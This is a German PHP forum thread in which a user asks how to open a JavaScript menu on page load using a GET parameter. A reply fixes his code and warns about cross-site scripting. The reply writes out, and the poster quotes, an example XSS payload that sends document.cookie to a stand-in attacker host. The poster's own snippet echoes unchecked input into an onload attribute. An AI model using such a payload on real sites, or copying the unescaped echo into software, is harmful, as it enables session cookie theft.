php.de

Zurück   php.de > Webentwicklung > HTML, Usability und Barrierefreiheit

HTML, Usability und Barrierefreiheit Themen rund um Textauszeichnung, Formatierung, Barrierefreiheit und Usability.

Antwort
 
LinkBack Themen-Optionen Thema bewerten
Alt 07.07.2007, 13:46  
Erfahrener Benutzer
 
Registriert seit: 09.05.2005
Beiträge: 561
BartTheDevil89 kann nur auf Besserung hoffen
Standard Eine Javafunktion beim aufrufen starten....

Hallo,

es geht um folgendes: www.zocko.de/menuetest.php

Das Menü läuft ja richtig, aber ich möchte gern eines der Menüs aufgeklappt haben, wenn ich die Page aufrufe.

Als Test habe ich mir jetzt mal eine Get-Funktion reingemacht, also es wird per get überliefert entweder smenu1,smenu2,smenu3 oder smenu4!

Jetzt möchte ich eben das gewählte Menü beim Aufrufen der Page öffnen. Deswegen hab ich folgendes in den body eingebaut:

<body onload="show(<?php echo "$_GET['menue']"; ?>);">

Aber trotzdem wird das Menü beim aufrufen nicht geöffnet. Ich hab auch schon versucht mit '' in der Klammer, etc. alles versucht.

Habt ihr ne Idee?
BartTheDevil89 ist offline   Mit Zitat antworten
Sponsor Mitteilung
PHP Code Flüsterer

Registriert seit: 21.08.2005
Beiträge: 4682
PHP-Kenntnisse:
Fortgeschritten

Alt 07.07.2007, 15:05  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 9.937
Zergling-new wird schon bald berühmt werden
Standard

Hallo,
schön dass du dich dauernd vorneweg fachlich disqualifizierst, wenn du Java mit JavaScript verwechselst. Tu das nicht!

http://de.wikipedia.org/wiki/JavaScript
Zitat:
JavaScript wurde ursprünglich von Sun Microsystems und Netscape in Kooperation entwickelt. Trotz des ähnlichen Namens und einer ähnlichen Syntax ist JavaScript grundlegend verschieden von der Programmiersprache Java, die von Sun Microsystems stammt. Die Namensgleichheit erklärt sich wohl vor allem aus Marketinggründen und den seinerzeits angeblich sehr populären Java-Applets. Die Syntax wurde auch aus diesem Grund weitgehend der von Java angeglichen.
Das ist in etwa wie wenn du Ballack mit Becker verwechselst, fangen ja beide immerhin mit B an und Sport is ja Sport.


Zur Frage:
Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
Entweder schreibst du
PHP-Code:
<?php
echo $_GET['menue'];
// oder
echo "{$_GET['menue']}";
?>
Wozu aber die Anführungszeichen? Nimm Variante 1.


Kommen wir zum nächsten Problem.
PHP-Code:
<body onload="show(<?php echo $_GET['menue']; ?>);">
Was käme dabei heraus?
Code:
<body onload="show(smenu1);">
Ist das ein gültiger JavaScript-Code? Nein,
Code:
<body onload="show('<?php echo $_GET['menue'] ?>');">
Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer
Code:
);location.href='http://cookies-klauen.com/?'+document.cookie;//
übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
http://de.wikipedia.org/wiki/Cross-Site_Scripting


Du musst also prüfen, was übergeben wurde.
PHP-Code:
<?php
$menus 
= array('smenu1''smenu2''smenu3''smenu4');
$index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default
echo $menus[$index];
?>
Zergling-new ist offline   Mit Zitat antworten
Alt 09.07.2007, 14:06  
Erfahrener Benutzer
 
Registriert seit: 09.05.2005
Beiträge: 561
BartTheDevil89 kann nur auf Besserung hoffen
Standard

Zitat:
Zitat von Zergling
Zur Frage:
Du musst zunächst einmal korrekten PHP-Code erzeugen, das tust du schonmal nicht.
echo "$_GET['menue']" wird vermutlich einen Notice werfen (den du nicht siehst, da er im HTML untergeht).
Entweder schreibst du
PHP-Code:
<?php
echo $_GET['menue'];
// oder
echo "{$_GET['menue']}";
?>
Wozu aber die Anführungszeichen? Nimm Variante 1.


Kommen wir zum nächsten Problem.
PHP-Code:
<body onload="show(<?php echo $_GET['menue']; ?>);">
Was käme dabei heraus?
Code:
<body onload="show(smenu1);">
Ist das ein gültiger JavaScript-Code? Nein,
Code:
<body onload="show('<?php echo $_GET['menue'] ?>');">
Nächstes Problem: Was machst du, wenn nichts übergeben wurde? Was machst du, wenn ein Angreifer
Code:
);location.href='http://cookies-klauen.com/?'+document.cookie;//
übergibt (während magic_quotes deaktiviert ist) und den Link irgendwo bei dir auf der Seite postet?
http://de.wikipedia.org/wiki/Cross-Site_Scripting


Du musst also prüfen, was übergeben wurde.
PHP-Code:
<?php
$menus 
= array('smenu1''smenu2''smenu3''smenu4');
$index = (int)array_search($menus, @$_GET['menue']); // absichtliches umwandeln von FALSE in 0 zwecks default
echo $menus[$index];
?>

Hi,

also folgendes: Das mit dem Get ist jetzt erstmal nur für Testzwecke....später wird das ne Variable sein, die von meinem System übergeben wird und deswegen sind auch keine großen überprüfungen nötig.
Ich hab deine Variante im body mal probiert und das kommt bei raus:

http://www.zocko.de/menuetest.php?menue=smenu1

Nicht, ist genauso wie vorher.
BartTheDevil89 ist offline   Mit Zitat antworten
Alt 09.07.2007, 16:00  
Erfahrener Benutzer
 
Registriert seit: 21.05.2008
Beiträge: 9.937
Zergling-new wird schon bald berühmt werden
Standard

Sehe auf Anhieb keinen Fehler, einfach hinter jede Zeile ein alert(variable_die_mich_interessiert) setzen und schauen was drinsteht, denn offenbar stimmen deine Bedingungen nicht.
Welche kann ich nicht erkennen.
Zergling-new ist offline   Mit Zitat antworten
Antwort


Themen-Optionen
Thema bewerten
Thema bewerten:

Forumregeln
Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are an
Gehe zu

Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Wie mit PHP ein CGI-Script aufrufen ? Fullmedia PHP Tipps 2008 1 28.05.2008 06:29
Apache läst sich nicht starten pit62 Server, Hosting und Workstations 4 10.09.2007 16:30
xampp als normaler user unter linux starten nieselfriem Server, Hosting und Workstations 1 22.04.2006 12:31
anderes PHP-Script aufrufen Smily0412 PHP Tipps 2005-2 14 27.10.2005 14:28
per Javascript exe auf Client starten HTML, Usability und Barrierefreiheit 16 05.09.2005 14:04
Datei aufrufen PHP Tipps 2005-2 7 09.08.2005 18:29
MySQL 4.1 unter Linux starten freq.9 Datenbanken 4 08.05.2005 23:06
Funktion aufrufen im selben Script aufrufen PHP Tipps 2005 5 23.02.2005 21:21
PHP-Script automatisiert jede Nacht starten, aber wie? PHP Tipps 2005 10 17.02.2005 17:51
[Erledigt] wie soll ich apache starten? Server, Hosting und Workstations 5 20.01.2005 14:49
postgres starten Crypi Datenbanken 2 05.01.2005 18:15
Aus PHP ein anderes PHP-Proggi aufrufen PHP Tipps 2004-2 2 22.11.2004 18:04
[BlödeFrage:] aufrufen von html/php seiten mittels php PHP Tipps 2004 9 16.08.2004 15:58
Sessions starten/ Einstellungen in der PHP.INI PHP Tipps 2004 3 04.08.2004 15:28
Sessionvariable auf andere Seite aufrufen PHP Tipps 2004 2 18.06.2004 21:33

Besucher kamen über folgende Suchanfragen bei Google auf diese Seite
java funktion starten, java funktion in thread, html onload menü ausschalten, java funktion in thread ausführen, http://www.php.de/html-usability-und-barrierefreiheit/44313-eine-javafunktion-beim-aufrufen-starten.html, php java funktion aufrufen, java funktion ausführen html, mehrere javafunktionen bei onload, javafunktion aufrufen onload, funktion erst bei aufruf starten java, java methode in javascript aufrufen, onload java script nur einmal ausführen, java funktion aus php aufrufen, funktion bei seiten aufruf starten java, java 2 funktionen ausführen, java funktion ausführen mit:, java function aufrufen unter php, in javascript java funktion ausführen, javafunktion aus php, php seite menü aufgeklappt starten

Alle Zeitangaben in WEZ +2. Es ist jetzt 03:07 Uhr.




Powered by vBulletin® Version 3.7.2 (Deutsch)
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
Aprilia-Forum, Aquaristik-Forum, Liebeskummer-Forum, Zierfisch-Forum, Geizkragen-Forum

Creative Commons License
Dieser Inhalt ist unter einer Creative Commons-Lizenz lizenziert.